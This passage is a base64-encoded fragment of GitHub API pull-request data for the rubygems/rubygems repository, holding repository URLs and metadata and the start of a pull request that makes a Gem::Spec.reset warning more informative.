cyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qdW5pb3J6L3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2p1bmlvcnovcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvanVuaW9yei9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDE1LTAxLTE5VDIxOjM5OjExWiIsInVwZGF0ZWRfYXQiOiIyMDE1LTAxLTE5VDIxOjM5OjEyWiIsInB1c2hlZF9hdCI6IjIwMTUtMDQtMjhUMTk6NTA6MDdaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vanVuaW9yei9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206anVuaW9yei9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vanVuaW9yei9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2p1bmlvcnovcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHA6Ly9ydWJ5Z2Vtcy5vcmciLCJzaXplIjoxODUzMSwic3RhcmdhemVyc19jb3VudCI6MCwid2F0Y2hlcnNfY291bnQiOjAsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOmZhbHNlLCJoYXNfcHJvamVjdHMiOnRydWUsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjAsIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjAsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6MCwib3Blbl9pc3N1ZXMiOjAsIndhdGNoZXJzIjowLCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6IjVjOTUzMTg3NmM1ZWVkYmZlOWNkZGE4ZTE1MzhhZWVmYWZlMmViZjkiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTQzIn0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExNDMifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNDMifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNDMvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExNDMvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTQzL2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvMGUxNmUwNWMxODdmOTRiYmEyMTU4NGJkMDY3NzYwYTRlN2VkZDMwMiJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiRklSU1RfVElNRV9DT05UUklCVVRPUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM4IiwiaWQiOjI3NTExOTQyLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzgiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzguZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzgucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTM4IiwibnVtYmVyIjoxMTM4LCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6Ik1ha2Ugd2FybmluZyBpbiBHZW06OlNwZWMucmVzZXQgbW9yZSBpbmZvcm1hdGl2ZSIsInVzZXIiOnsibG9naW4iOiJKaW1QYW5pYyIsImlkIjoyNzkyOTMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzI3OTI5Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9KaW1QYW5pYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9KaW1QYW5pYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9KaW1QYW5pYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiJBY2NvcmRpbmcgdG8gaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy8xNzkzNjM0MC91bnJlc29sdmVkLXNwZWNzLWR1cmluZy1nZW1zcGVjaWZpY2F0aW9uLXJlc2V0IHRoaXMgd2FybmluZyBpcyAoYWxzbz8pIHNob3duIHdoZW4gZ2VtIGRvZXNuJ3Qga25vdyB3aGF0IHZlcnNpb24gb2YgYSBnZW0gaXQgc2hvdWxkIHVzZSBpZiBtdWx0aXBsZSBhcmUgYXZhaWxhYmxlLiBUaGUgbWVzc2FnZSBob3dldmVyIGRvZXMgbm90IHNheSB0aGF0LlxuXG5UaGlzIGNoYW5nZSBmaW5kcyBhbGwgaW5zdGFsbGVkIHZlcnNpb25zIGFuZCBkaXNwbGF5cyB0aGVtIGFsb25nc2lkZSB0aGUgb3JpZ2luYWwgZGVwZW5kZW5jeSBhbmQgaXRzIHZlcnNpb24uIEl0IGFsc28gcHJvcG9zZXMgYSBgZ2VtIGNsZWFudXBgLlxuIiwiY3JlYXRlZF9hdCI6IjIwMTUtMDEtMTZUMTU6MTg6NTFaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjVUMDU6NTU6NTRaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiJjZWZmZDk4NzlmYzc3NDZhMDI1NmNlOGYyOThkNzY2YTMyNDk2M2JlIiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLC